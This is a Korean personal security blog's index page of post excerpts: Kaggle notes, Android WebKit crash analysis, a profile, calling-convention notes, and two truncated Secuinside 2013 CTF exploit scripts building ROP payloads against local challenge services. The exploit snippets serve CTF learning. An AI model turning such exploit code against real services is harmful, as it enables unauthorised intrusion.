본문 바로가기

전체

[Kaggle] Employee Access Challenge 학교 머신러닝 수업때문에 kaggle competition(http://kaggle.com)을 하는데, 생각보다 재밌어서 수업 끝나고도 틈틈히 할것같다.우선 다 끝난 competition들로 공부좀 하고, active competition을 해보면 재밌을듯하다 모델은 Logistic regression을 사용하였고, feature선택은 greedy selection을 사용하였다.(내 아이디어는 아니고, 포럼에서 메인으로 언급되는 아이디어)logistical regression에 대한 설명은 많은것 같아서 따로 안하고, 실제로 어떻게 사용했는지만 써놔야겠다.python의 scikit-learn (sklearn)을 사용하여, 코딩하였다. 지금은 이미 종료된 competition인 employee access.. 더보기
Webkit crash 분석하기 시간이 없으니 글은 나중에 차차 다듬기로(+ 다듬고 올리려고 했는데, 다시 건드릴 일이 없을것 같아서 그냥 비공개만 품...... / 쓰다 만 부분은 다른곳에서 찾으시길... ) 안드로이드 4.1.2 버전에서 크래시가 났을경우, 어느부분에서 났는지 찾는 과정을 적어보았다.(사실, 크래시가 난곳에서 동적분석도 하고싶은데, 그것까진 실패했다. 아마 심볼때문에 그런듯 해서, 안드로이드 full 컴파일을 하고 그 라이브러리들을 안드로이드에 올리면 될수도 있지만, 시간이 너무 오래걸려서 그러진 않았다) 그리고, 사실 이 방법이 가장 효율적인지는 모르겠다.근데, 아는방법이 이것밖에 없으니... 환경: 우분투 13.04 64bit, 갤럭시노트2(루팅) 1. 안드로이드 기본 소스 다운로드. $ sudo add-apt-.. 더보기
Profile 이름(Name) : 한충우 (Choongwoo Han)닉네임(Nickname): tunz B.S.: Computer Science and Engineering, Technology Management, in UNIST'15 Interests: Software Security, Software Testing, Program Analysis, Web Security Mail: cwhan.tunz |at| gmail.comBlog: http://blog.tunz.kr (-> http://tunz.kr )Twitter: http://www.twitter.com/7unzgithub: http://www.github.com/tunz 소속: KAIST SoftWare Testing & Verification (SWT.. 더보기
[secuinside 2013] debugd exploit ubuntu 13.10에서 재현 from socket import *from struct import *import time s = socket(AF_INET,SOCK_STREAM)s.connect(('localhost', 7744)) leaveret = 0x8048a68recv_plt = 0x8048770send_plt = 0x8048790bss = 0x804b080fake_ebp = bss+0x50send_got = 0x804b070ppppr = 0x804906c cmd = "id>&4\x00" payload = "1;"+"\x00"*(0x66c + 4 - 2)payload += pack(' 더보기
[Secuinside 2013] angry danbi exploit 우분투 12.04에서 재현 from socket import *from struct import *import time fputs_plt = 0x8048800fputs_got = 0x804B064recv_plt = 0x8048810send_plt = 0x8048830ppppr = 0x80499FCbss = 0x804c0dc cmd = "id>&4\x00" i=0while True: print "Send! %d" % i i += 1 s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',8080)) time.sleep(0.3) print s.recv(10000) #raw_input('go?') vmcode = "" # auth 2 vmcode += "#\x00\.. 더보기
gdb automatic attach python script import osimport sys if os.getuid() != 0: print "[-] You are not root" sys.exit(-1) if len(sys.argv) = 0: try: pid = outputs[i].split(None)[1] except: i -= 1 continue if int(pid) 더보기
ARM에서의 argument 전달방식 r0 - first argumentr1 - second argumentr2 - third argumentr3 - fourth argument[sp, #0] - fifth argument[sp, #4] - 6-th argument[sp, #8] - 7-th argument[sp, #12] - 8-th argument func(1,2,3,4,5,6,7,8)을 콜했을때의 objdump 내용: 000083e0 : 83e0: b580 push {r7, lr} 83e2: b084 sub sp, #16 83e4: af04 add r7, sp, #16 83e6: 2305 movs r3, #5 83e8: 9300 str r3, [sp, #0] 83ea: 2306 movs r3, #6 83ec: 9301 str r3, [.. 더보기
IDA pro ARM <-> Thumb Switch ARM 바이너리를 디버깅 하다보면, ARM(Code 32)와 Thumb(Code 16)모드가 동시에 존재한다. Bx 명령어가 실행되면, 옵코드를 읽는 모드가 변경된다( ARM -> Thumb or Thumb -> ARM) 가끔, IDA가 이걸 캐치하지 못하고, ARM을 Thumb로, 혹은 Thumb를 ARM으로 읽으려 하는 상황이 생기는데, 그럴때는 ALT - G 를 누른후, T의 값을 1로 해주면, 해당코드는 Thumb로 읽게 되고,T의 값을 0으로 해주면, ARM으로 읽게된다. 더보기
ELF-64bit 에서 argument 전달방식 gcc 기준, ELF 32bit에서는 (%esp),0x4(%esp), ... 에 넣어서 넘기는 방식인데, ELF64에서는 레지스터에 넣어서 넘긴다.아직도 헷갈린다. rdi : 첫번째인자rsi: 두번째인자rdx: 세번째인자rcx: 네번째인자r8: 다섯번째인자r9: 여섯번째인자(%rsp): 일곱번째인자0x8(%rsp): 여덟번째인자... 더보기
Whitehat Contest 개인전 예선 보고서 그 외에 stalking은 DNS검색해서 나온 전화번호를 구글링하면 어떤 블로그가 나왔다고 하고, 포렌식은 그냥 atuopsy로 열면 바로 답이 나왔다. 더보기